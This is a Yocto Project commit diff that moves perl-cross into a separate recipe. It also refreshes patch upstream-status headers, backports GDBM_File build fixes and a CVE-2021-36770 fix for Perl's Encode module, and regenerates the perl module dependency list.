+Date: Thu, 3 Jun 2021 18:50:56 +0200
+Subject: [PATCH] cnf/configure_func_sel.sh: disable thread_safe_nl_langinfo_l
+
+Upstream-Status: Submitted [https://github.com/arsv/perl-cross/pull/115]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ cnf/configure_func_sel.sh | 8 ++++++--
+ 1 file changed, 6 insertions(+), 2 deletions(-)
+
+diff --git a/cnf/configure_func_sel.sh b/cnf/configure_func_sel.sh
+index f48294f..90d350d 100644
+--- a/cnf/configure_func_sel.sh
++++ b/cnf/configure_func_sel.sh
+@@ -97,5 +97,9 @@ else
+ result "irrelevant"
+ fi
+
+-# Assume nl_langinfo_l is threadsafe if available
+-define d_thread_safe_nl_langinfo_l "$d_nl_langinfo_l"
++# thread_safe_nl_langinfo_l is not enabled by default
++# by upstream, and causes t/Langinfo.t to fail when it is
++# (starting from 5.34.0). This means the configuration is
++# either not well tested, or not at all tested, so we should
++# pick a safer option.
++define d_thread_safe_nl_langinfo_l "undef"
diff --git a/meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch b/meta/recipes-devtools/perl-cross/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch
index 3b0fc453e5..386ea3f27f 100644
--- a/meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch
+++ b/meta/recipes-devtools/perl-cross/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch
@@ -4,7 +4,7 @@ Date: Wed, 2 Jan 2019 17:55:35 +0100
Subject: [PATCH] configure_path.sh: do not hardcode $prefix/lib as library
path
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/arsv/perl-cross/pull/123]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
diff --git a/meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch b/meta/recipes-devtools/perl-cross/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch
index 0aaeaa29eb..1d90b0fda7 100644
--- a/meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch
+++ b/meta/recipes-devtools/perl-cross/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch
@@ -5,7 +5,7 @@ Subject: [PATCH] configure_tool.sh: do not quote the argument to 'command'
As it seems to break things if the argument has spaces and arguments in it.
-Upstream-Status: Pending
+Upstream-Status: Backport [443f7bd08b19e71a2e838dcb6cde176998cd350f]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
cnf/configure_tool.sh | 2 +-
diff --git a/meta/recipes-devtools/perl/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch b/meta/recipes-devtools/perl-cross/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch
index e7985036a0..6c3f08c432 100644
--- a/meta/recipes-devtools/perl/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch
+++ b/meta/recipes-devtools/perl-cross/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch
@@ -3,7 +3,7 @@ From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 27 Nov 2018 15:37:40 +0100
Subject: [PATCH] perl-cross: add LDFLAGS when linking libperl
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/arsv/perl-cross/pull/122]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
Makefile | 2 +-
diff --git a/meta/recipes-devtools/perl-cross/files/README.md b/meta/recipes-devtools/perl-cross/files/README.md
new file mode 100644
index 0000000000..93217245c8
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/README.md
@@ -0,0 +1,29 @@
+**perl-cross** provides configure script, top-level Makefile
+and some auxiliary files for [perl](http://www.perl.org),
+with the primary emphasis on cross-compiling the source.
+
+ # Get perl and perl-cross sources
+ curl -L -O http://www.cpan.org/src/5.0/perl-5.24.1.tar.gz
+ curl -L -O https://github.com/arsv/perl-cross/releases/download/1.1.3/perl-cross-1.1.3.tar.gz
+
+ # Unpack perl-cross over perl, overwriting Makefile
+ tar -zxf perl-5.24.1.tar.gz
+ cd perl-5.24.1
+ tar --strip-components=1 -zxf ../perl-cross-1.1.3.tar.gz
+
+ # Proceed as usual with most autoconfed packages
+ ./configure --target=arm-linux-gnueabi --prefix=/usr -Duseshrplib
+ make -j4
+ make DESTDIR=/path/to/staging/dir install
+
+Unlike mainline Perl, this configure never runs any target executables,
+relying solely on compile/link tests and pre-defined hints.
+On the flip side, it is only meant to run on resonably sane modern unix systems.
+
+Check [project pages](http://arsv.github.io/perl-cross/) for more info.
+In particular, [configure usage](http://arsv.github.io/perl-cross/usage.html)
+lists available configure options.
+
+Perl-cross is a free software licensed under the same terms
+as the original perl source.
+See LICENSE, Copying and Artistic files.
diff --git a/meta/recipes-devtools/perl-cross/files/determinism.patch b/meta/recipes-devtools/perl-cross/files/determinism.patch
new file mode 100644
index 0000000000..e9bf752bcb
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/determinism.patch
@@ -0,0 +1,46 @@
+Fixes to make the perl build reproducible:
+
+a) Remove the \n from configure_attr.sh since it gets quoted differently depending on
+ whether the shell is bash or dash which can cause the test result to be incorrect.
+ Reported upstream: https://github.com/arsv/perl-cross/issues/87
+
+b) Sort the order of the module lists from configure_mods.sh since otherwise
+ the result isn't the same leading to makefile differences.
+ Reported upstream: https://github.com/arsv/perl-cross/issues/88
+
+c) Sort the Encode::Byte byte_t.fnm file output (and the makefile depends whilst
+ there for good measure)
+ This needs to go to upstream perl (not done)
+
+d) Use bash for perl-cross configure since otherwise trnl gets set to "\n" with bash
+ and "" with dash
+ Reported upstream: https://github.com/arsv/perl-cross/issues/87
+
+RP 2020/2/7
+
+Upstream-Status: Pending [75% submitted]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org
+
+Index: perl-5.30.1/cnf/configure_mods.sh
+===================================================================
+--- perl-5.30.1.orig/cnf/configure_mods.sh
++++ perl-5.30.1/cnf/configure_mods.sh
+@@ -82,7 +82,7 @@ extonlyif() {
+ }
+
+ definetrimspaces() {
+- v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//'`
++ v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//' | xargs -n1 | LANG=C sort | xargs`
+ define $1 "$v"
+ }
+
+Index: perl-5.30.1/cnf/configure
+===================================================================
+--- perl-5.30.1.orig/cnf/configure
++++ perl-5.30.1/cnf/configure
+@@ -1,4 +1,4 @@
+-#!/bin/sh
++#!/bin/bash
+
+ base=${0%/*}; test -z "$base" && base=.
+
diff --git a/meta/recipes-devtools/perl-cross/perlcross_1.3.6.bb b/meta/recipes-devtools/perl-cross/perlcross_1.3.6.bb
new file mode 100644
index 0000000000..b8e1f846d7
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/perlcross_1.3.6.bb
@@ -0,0 +1,41 @@
+SUMMARY = "Perl-cross build system"
+HOMEPAGE = "https://github.com/arsv/perl-cross"
+DESCRIPTION = "perl-cross provides configure script, top-level Makefile and some auxiliary files for perl, \
+with the primary emphasis on cross-compiling the source."
+SECTION = "devel"
+LICENSE = "Artistic-1.0 | GPL-1.0+"
+# README.md is taken from https://github.com/arsv/perl-cross/blob/master/README.md
+# but is not provided inside the release tarballs
+LIC_FILES_CHKSUM = "file://${WORKDIR}/README.md;md5=252fcce2026b765fee1ad74d2fb07a3b"
+
+inherit allarch
+
+SRC_URI = "https://github.com/arsv/perl-cross/releases/download/${PV}/perl-cross-${PV}.tar.gz;name=perl-cross \
+ file://README.md \
+ file://0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch \
+ file://0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch \
+ file://0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch \
+ file://determinism.patch \
+ file://0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch \
+ file://0001-Makefile-check-the-file-if-patched-or-not.patch \
+ "
+UPSTREAM_CHECK_URI = "https://github.com/arsv/perl-cross/releases/"
+
+SRC_URI[perl-cross.sha256sum] = "4010f41870d64e3957b4b8ce70ebba10a7c4a3e86c5551acb4099c3fcbb37ce5"
+
+S = "${WORKDIR}/perl-cross-${PV}"
+
+do_configure () {
+}
+
+do_compile () {
+}
+
+do_install:class-native() {
+ mkdir -p ${D}/${datadir}/perl-cross/
+ cp -rf ${S}/* ${D}/${datadir}/perl-cross/
+ rm -rf ${D}/${datadir}/perl-cross/patches/
+}
+
+BBCLASSEXTEND = "native"
+
diff --git a/meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch b/meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch
deleted file mode 100644
index 7d5c079b2d..0000000000
--- a/meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 2f74a899474f428a4a5368a94accf801c5f97ae4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 4 Jun 2018 18:33:50 +0300
-Subject: [PATCH] ExtUtils-MakeMaker: add $(LDFLAGS) when linking binary
- modules
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
-index fe53be1..249c048 100644
---- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
-+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
-@@ -1050,7 +1050,7 @@ sub xs_make_dynamic_lib {
- }
-
- push @m, sprintf <<'MAKE', $ld_run_path_shell, $ldrun, $dlsyms_arg, $ldfrom, $self->xs_obj_opt('$@'), $libs, $exportlist;
-- %s$(LD) %s $(LDDLFLAGS) %s %s $(OTHERLDFLAGS) %s $(MYEXTLIB) \
-+ %s$(LD) %s $(LDDLFLAGS) %s %s $(LDFLAGS) $(OTHERLDFLAGS) %s $(MYEXTLIB) \
- $(PERL_ARCHIVE) %s $(PERL_ARCHIVE_AFTER) %s \
- $(INST_DYNAMIC_FIX)
- $(CHMOD) $(PERM_RWX) $@
diff --git a/meta/recipes-devtools/perl/files/5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch b/meta/recipes-devtools/perl/files/5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch
new file mode 100644
index 0000000000..1cb65d932c
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch
@@ -0,0 +1,31 @@
+From 5bc1e5fdd87aa205011512cd1e6cc655bcf677fd Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 23 Jun 2021 15:31:42 +0300
+Subject: [PATCH] Fix definition of ITEM_NOT_FOUND for pre-1.13 versions.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ ext/GDBM_File/GDBM_File.xs | 9 +++++----
+ 1 file changed, 5 insertions(+), 4 deletions(-)
+
+diff --git a/ext/GDBM_File/GDBM_File.xs b/ext/GDBM_File/GDBM_File.xs
+index 494c2889ca89..0125b5dcac4d 100644
+--- a/ext/GDBM_File/GDBM_File.xs
++++ b/ext/GDBM_File/GDBM_File.xs
+@@ -145,10 +145,11 @@ output_datum(pTHX_ SV *arg, char *str, int size)
+ #define gdbm_setopt(db,optflag,optval,optlen) not_here("gdbm_setopt")
+ #endif
+
+-#if GDBM_VERSION_MAJOR == 1 && GDBM_VERSION_MINOR < 13
+-/* Prior to 1.13, gdbm_fetch family functions set gdbm_errno to GDBM_NO_ERROR
+- if the requested key did not exist */
+-# define ITEM_NOT_FOUND() (gdbm_errno == GDBM_NO_ERROR)
++#if GDBM_VERSION_MAJOR == 1 && GDBM_VERSION_MINOR < 13
++/* Prior to 1.13, only gdbm_fetch set GDBM_ITEM_NOT_FOUND if the requested
++ key did not exist. Other similar function wouls set GDBM_NO_ERROR instead.
++ The GDBM_ITEM_NOT_FOUND existeds as early as in 1.7.3 */
++# define ITEM_NOT_FOUND() (gdbm_errno == GDBM_NO_ERROR || gdbm_errno == GDBM_ITEM_NOT_FOUND)
+ #else
+ # define ITEM_NOT_FOUND() (gdbm_errno == GDBM_ITEM_NOT_FOUND)
+ #endif
diff --git a/meta/recipes-devtools/perl/files/CVE-2021-36770.patch b/meta/recipes-devtools/perl/files/CVE-2021-36770.patch
new file mode 100644
index 0000000000..1ef548b305
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/CVE-2021-36770.patch
@@ -0,0 +1,40 @@
+Backport patch to fix CVE-2021-36770. And drop the section of code which
+updates version.
+
+Upstream-Status: Backport [https://github.com/Perl/perl5/commit/c1a937f]
+CVE: CVE-2021-36770
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From c1a937fef07c061600a0078f4cb53fe9c2136bb9 Mon Sep 17 00:00:00 2001
+From: Ricardo Signes <rjbs@semiotic.systems>
+Date: Mon, 9 Aug 2021 08:14:05 -0400
+Subject: [PATCH] Encode.pm: apply a local patch for CVE-2021-36770
+
+I expect Encode to see a new release today.
+
+Without this fix, Encode::ConfigLocal can be loaded from a path relative
+to the current directory, because the || operator will evaluate @INC in
+scalar context, putting an integer as the only value in @INC.
+---
+ cpan/Encode/Encode.pm | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/cpan/Encode/Encode.pm b/cpan/Encode/Encode.pm
+index a56a99947f..b96a850416 100644
+--- a/cpan/Encode/Encode.pm
++++ b/cpan/Encode/Encode.pm
+@@ -65,8 +66,8 @@ require Encode::Config;
+ eval {
+ local $SIG{__DIE__};
+ local $SIG{__WARN__};
+- local @INC = @INC || ();
+- pop @INC if $INC[-1] eq '.';
++ local @INC = @INC;
++ pop @INC if @INC && $INC[-1] eq '.';
+ require Encode::ConfigLocal;
+ };
+
+--
+2.33.0
+
diff --git a/meta/recipes-devtools/perl/files/aacd2398e766500cb5d83c4d76b642fcf31d997a.patch b/meta/recipes-devtools/perl/files/aacd2398e766500cb5d83c4d76b642fcf31d997a.patch
new file mode 100644
index 0000000000..628903f41c
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/aacd2398e766500cb5d83c4d76b642fcf31d997a.patch
@@ -0,0 +1,40 @@
+From aacd2398e766500cb5d83c4d76b642fcf31d997a Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 23 Jun 2021 10:26:50 +0300
+Subject: [PATCH] Fix GDBM_File to compile with version 1.20 and earlier
+
+* ext/GDBM_File/GDBM_File.xs (ITEM_NOT_FOUND): Define conditionally,
+depending on the GDBM_VERSION_MAJOR and GDBM_VERSION_MINOR.
+Don't assume GDBM_ITEM_NOT_FOUND is a define (it isn't since
+gdbm commit d3e27957).
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ ext/GDBM_File/GDBM_File.xs | 11 +++++------
+ 1 file changed, 5 insertions(+), 6 deletions(-)
+
+diff --git a/ext/GDBM_File/GDBM_File.xs b/ext/GDBM_File/GDBM_File.xs
+index cd0bb6f26ffa..494c2889ca89 100644
+--- a/ext/GDBM_File/GDBM_File.xs
++++ b/ext/GDBM_File/GDBM_File.xs
+@@ -145,14 +145,13 @@ output_datum(pTHX_ SV *arg, char *str, int size)
+ #define gdbm_setopt(db,optflag,optval,optlen) not_here("gdbm_setopt")
+ #endif
+
+-#ifndef GDBM_ITEM_NOT_FOUND
+-# define GDBM_ITEM_NOT_FOUND GDBM_NO_ERROR
+-#endif
+-
++#if GDBM_VERSION_MAJOR == 1 && GDBM_VERSION_MINOR < 13
+ /* Prior to 1.13, gdbm_fetch family functions set gdbm_errno to GDBM_NO_ERROR
+ if the requested key did not exist */
+-#define ITEM_NOT_FOUND() \
+- (gdbm_errno == GDBM_ITEM_NOT_FOUND || gdbm_errno == GDBM_NO_ERROR)
++# define ITEM_NOT_FOUND() (gdbm_errno == GDBM_NO_ERROR)
++#else
++# define ITEM_NOT_FOUND() (gdbm_errno == GDBM_ITEM_NOT_FOUND)
++#endif
+
+ #define CHECKDB(db) do { \
+ if (!db->dbp) { \
diff --git a/meta/recipes-devtools/perl/files/determinism.patch b/meta/recipes-devtools/perl/files/determinism.patch
index ccdd52a0d0..aa85ccef10 100644
--- a/meta/recipes-devtools/perl/files/determinism.patch
+++ b/meta/recipes-devtools/perl/files/determinism.patch
@@ -21,19 +21,6 @@ RP 2020/2/7
Upstream-Status: Pending [75% submitted]
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org
-Index: perl-5.30.1/cnf/configure_mods.sh
-===================================================================
---- perl-5.30.1.orig/cnf/configure_mods.sh
-+++ perl-5.30.1/cnf/configure_mods.sh
-@@ -82,7 +82,7 @@ extonlyif() {
- }
-
- definetrimspaces() {
-- v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//'`
-+ v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//' | xargs -n1 | LANG=C sort | xargs`
- define $1 "$v"
- }
-
Index: perl-5.30.1/cpan/Encode/Byte/Makefile.PL
===================================================================
--- perl-5.30.1.orig/cpan/Encode/Byte/Makefile.PL
@@ -56,13 +43,3 @@ Index: perl-5.30.1/cpan/Encode/Byte/Makefile.PL
{
print FILELIST $self->catfile($dir,$file) . "\n";
}
-Index: perl-5.30.1/cnf/configure
-===================================================================
---- perl-5.30.1.orig/cnf/configure
-+++ perl-5.30.1/cnf/configure
-@@ -1,4 +1,4 @@
--#!/bin/sh
-+#!/bin/bash
-
- base=${0%/*}; test -z "$base" && base=.
-
diff --git a/meta/recipes-devtools/perl/files/ea57297a58b8f10ab885c19eec48ea076116cc1f.patch b/meta/recipes-devtools/perl/files/ea57297a58b8f10ab885c19eec48ea076116cc1f.patch
new file mode 100644
index 0000000000..3864f1a121
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/ea57297a58b8f10ab885c19eec48ea076116cc1f.patch
@@ -0,0 +1,25 @@
+From ea57297a58b8f10ab885c19eec48ea076116cc1f Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 23 Jun 2021 14:24:47 +0300
+Subject: [PATCH] Raise version number in ext/GDBM_File/GDBM_File.pm
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ ext/GDBM_File/GDBM_File.pm | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/ext/GDBM_File/GDBM_File.pm b/ext/GDBM_File/GDBM_File.pm
+index d837536f804c..cb08d091b829 100644
+--- a/ext/GDBM_File/GDBM_File.pm
++++ b/ext/GDBM_File/GDBM_File.pm
+@@ -363,7 +363,7 @@ require XSLoader;
+ );
+
+ # This module isn't dual life, so no need for dev version numbers.
+-$VERSION = '1.19';
++$VERSION = '1.20';
+
+ XSLoader::load();
+
diff --git a/meta/recipes-devtools/perl/files/native-perlinc.patch b/meta/recipes-devtools/perl/files/native-perlinc.patch
index a2e1aefd41..20d7fe6060 100644
--- a/meta/recipes-devtools/perl/files/native-perlinc.patch
+++ b/meta/recipes-devtools/perl/files/native-perlinc.patch
@@ -1,4 +1,4 @@
-Upstream-Status:Inappropriate [embedded specific]
+Upstream-Status: Inappropriate [embedded specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
Index: perl-5.8.8/lib/ExtUtils/MM_Unix.pm
diff --git a/meta/recipes-devtools/perl/files/perl-cross-makefile.patch b/meta/recipes-devtools/perl/files/perl-cross-makefile.patch
deleted file mode 100644
index 5d3f998200..0000000000
--- a/meta/recipes-devtools/perl/files/perl-cross-makefile.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-Makefile: Avoid continual rebuilds of miniperl and associated races
-
-In the Yocto Project, when we run "make install" we notice miniperl
-rebuilding multiple times. Usually this is harmless however sometimes
-race issues occur such as miniperl not being executable.
-
-The issue is that crosspatch is a phony target so it always rebuilds.
-Adding this as a dependency of miniperl means miniperl always rebuilds
-too.
-
-Avoid this by injecting a direct dependency avoiding the phony target.
-miniperl is then only rebuilt when its input changes as desired.
-
-Signed-off-by: Richard Purdie richard.purdie@linuxfoundation.org
-Upstream-Status: Submitted [https://github.com/arsv/perl-cross/pull/95]
-
-Index: perl-5.32.0/Makefile
-===================================================================
---- perl-5.32.0.orig/Makefile
-+++ perl-5.32.0/Makefile
-@@ -56,7 +56,7 @@ crosspatch: $(CROSSPATCHED)
-
- # A minor fix for buildroot, force crosspatching when running "make perl modules"
- # instead of "make all".
--miniperlmain$O: crosspatch
-+miniperlmain$O: $(CROSSPATCHED)
-
- # Original versions are not saved anymore; patch generally takes care of this,
- # and if that fails, reaching for the source tarball is the safest option.
diff --git a/meta/recipes-devtools/perl/files/perl-dynloader.patch b/meta/recipes-devtools/perl/files/perl-dynloader.patch
index 6bb832a426..b49e6e4066 100644
--- a/meta/recipes-devtools/perl/files/perl-dynloader.patch
+++ b/meta/recipes-devtools/perl/files/perl-dynloader.patch
@@ -1,4 +1,4 @@
-Upstream-Status:Inappropriate [embedded specific]
+Upstream-Status: Inappropriate [embedded specific]
Allow the location that .so files are searched for for dynamic
loading to be changed via an environment variable. This is to allow
diff --git a/meta/recipes-devtools/perl/files/perl-rdepends.txt b/meta/recipes-devtools/perl/files/perl-rdepends.txt
index e7cd551988..dd23dc222a 100644
--- a/meta/recipes-devtools/perl/files/perl-rdepends.txt
+++ b/meta/recipes-devtools/perl/files/perl-rdepends.txt
@@ -1,2017 +1,2025 @@
-RDEPENDS_perl-module-anydbm-file += "perl-module-strict"
-RDEPENDS_perl-module-anydbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-app-cpan += "perl-module-config"
-RDEPENDS_perl-module-app-cpan += "perl-module-constant"
-RDEPENDS_perl-module-app-cpan += "perl-module-cpan"
-RDEPENDS_perl-module-app-cpan += "perl-module-cwd"
-RDEPENDS_perl-module-app-cpan += "perl-module-data-dumper"
-RDEPENDS_perl-module-app-cpan += "perl-module-file-basename"
-RDEPENDS_perl-module-app-cpan += "perl-module-file-find"
-RDEPENDS_perl-module-app-cpan += "perl-module-getopt-std"
-RDEPENDS_perl-module-app-cpan += "perl-module-if"
-RDEPENDS_perl-module-app-cpan += "perl-module-net-ping"
-RDEPENDS_perl-module-app-cpan += "perl-module-strict"
-RDEPENDS_perl-module-app-cpan += "perl-module-user-pwent"
-RDEPENDS_perl-module-app-cpan += "perl-module-vars"
-RDEPENDS_perl-module-app-cpan += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove += "perl-module-app-prove-state"
-RDEPENDS_perl-module-app-prove += "perl-module-base"
-RDEPENDS_perl-module-app-prove += "perl-module-constant"
-RDEPENDS_perl-module-app-prove += "perl-module-getopt-long"
-RDEPENDS_perl-module-app-prove += "perl-module-strict"
-RDEPENDS_perl-module-app-prove += "perl-module-tap-harness"
-RDEPENDS_perl-module-app-prove += "perl-module-tap-harness-env"
-RDEPENDS_perl-module-app-prove += "perl-module-text-parsewords"
-RDEPENDS_perl-module-app-prove += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state += "perl-module-app-prove-state-result"
-RDEPENDS_perl-module-app-prove-state += "perl-module-base"
-RDEPENDS_perl-module-app-prove-state += "perl-module-constant"
-RDEPENDS_perl-module-app-prove-state += "perl-module-file-find"
-RDEPENDS_perl-module-app-prove-state += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state += "perl-module-tap-parser-yamlish-reader"
-RDEPENDS_perl-module-app-prove-state += "perl-module-tap-parser-yamlish-writer"
-RDEPENDS_perl-module-app-prove-state += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-app-prove-state-result-test"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-constant"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state-result-test += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state-result-test += "perl-module-warnings"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-constant"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-exporter"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-io-compress-bzip2"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-time-local"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-warnings"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-archive-tar"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-archive-tar-constant"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-file-basename"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-io-file"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar-file += "perl-module-vars"
-RDEPENDS_perl-module-archive-tar += "perl-module-archive-tar-constant"
-RDEPENDS_perl-module-archive-tar += "perl-module-archive-tar-file"
-RDEPENDS_perl-module-archive-tar += "perl-module-config"
-RDEPENDS_perl-module-archive-tar += "perl-module-cwd"
-RDEPENDS_perl-module-archive-tar += "perl-module-exporter"
-RDEPENDS_perl-module-archive-tar += "perl-module-file-path"
-RDEPENDS_perl-module-archive-tar += "perl-module-io-file"
-RDEPENDS_perl-module-archive-tar += "perl-module-io-zlib"
-RDEPENDS_perl-module-archive-tar += "perl-module-strict"
-RDEPENDS_perl-module-archive-tar += "perl-module-vars"
-RDEPENDS_perl-module-attribute-handlers += "perl-module-strict"
-RDEPENDS_perl-module-attribute-handlers += "perl-module-warnings"
-RDEPENDS_perl-module-attributes += "perl-module-exporter"
-RDEPENDS_perl-module-attributes += "perl-module-strict"
-RDEPENDS_perl-module-attributes += "perl-module-warnings"
-RDEPENDS_perl-module-attributes += "perl-module-xsloader"
-RDEPENDS_perl-module-autodie-exception += "perl-module-constant"
-RDEPENDS_perl-module-autodie-exception += "perl-module-fatal"
-RDEPENDS_perl-module-autodie-exception += "perl-module-fcntl"
-RDEPENDS_perl-module-autodie-exception += "perl-module-overload"
-RDEPENDS_perl-module-autodie-exception += "perl-module-strict"
-RDEPENDS_perl-module-autodie-exception += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-parent"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-strict"
-RDEPENDS_perl-module-autodie-exception-system += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-hints += "perl-module-b"
-RDEPENDS_perl-module-autodie-hints += "perl-module-constant"
-RDEPENDS_perl-module-autodie-hints += "perl-module-strict"
-RDEPENDS_perl-module-autodie-hints += "perl-module-warnings"
-RDEPENDS_perl-module-autodie += "perl-module-constant"
-RDEPENDS_perl-module-autodie += "perl-module-lib"
-RDEPENDS_perl-module-autodie += "perl-module-parent"
-RDEPENDS_perl-module-autodie += "perl-module-strict"
-RDEPENDS_perl-module-autodie += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-scope-guard += "perl-module-strict"
-RDEPENDS_perl-module-autodie-scope-guard += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-autodie-scope-guard"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-strict"
-RDEPENDS_perl-module-autodie-scope-guardstack += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-skip += "perl-module-strict"
-RDEPENDS_perl-module-autodie-skip += "perl-module-warnings"
-RDEPENDS_perl-module-autodie-util += "perl-module-autodie-scope-guardstack"
-RDEPENDS_perl-module-autodie-util += "perl-module-exporter"
-RDEPENDS_perl-module-autodie-util += "perl-module-strict"
-RDEPENDS_perl-module-autodie-util += "perl-module-warnings"
-RDEPENDS_perl-module-autoloader += "perl-module-strict"
-RDEPENDS_perl-module-autosplit += "perl-module-config"
-RDEPENDS_perl-module-autosplit += "perl-module-exporter"
-RDEPENDS_perl-module-autosplit += "perl-module-file-basename"
-RDEPENDS_perl-module-autosplit += "perl-module-file-path"
-RDEPENDS_perl-module-autosplit += "perl-module-strict"
-RDEPENDS_perl-module-base += "perl-module-strict"
-RDEPENDS_perl-module-b-concise += "perl-module-b"
-RDEPENDS_perl-module-b-concise += "perl-module-b-op-private"
-RDEPENDS_perl-module-b-concise += "perl-module-config"
-RDEPENDS_perl-module-b-concise += "perl-module-exporter"
-RDEPENDS_perl-module-b-concise += "perl-module-feature"
-RDEPENDS_perl-module-b-concise += "perl-module-strict"
-RDEPENDS_perl-module-b-concise += "perl-module-warnings"
-RDEPENDS_perl-module-benchmark += "perl-module-exporter"
-RDEPENDS_perl-module-benchmark += "perl-module-strict"
-RDEPENDS_perl-module-bigint += "perl-module-constant"
-RDEPENDS_perl-module-bigint += "perl-module-exporter"
-RDEPENDS_perl-module-bigint += "perl-module-math-bigint"
-RDEPENDS_perl-module-bigint += "perl-module-math-bigint-trace"
-RDEPENDS_perl-module-bigint += "perl-module-overload"
-RDEPENDS_perl-module-bigint += "perl-module-strict"
-RDEPENDS_perl-module-bigint += "perl-module-warnings"
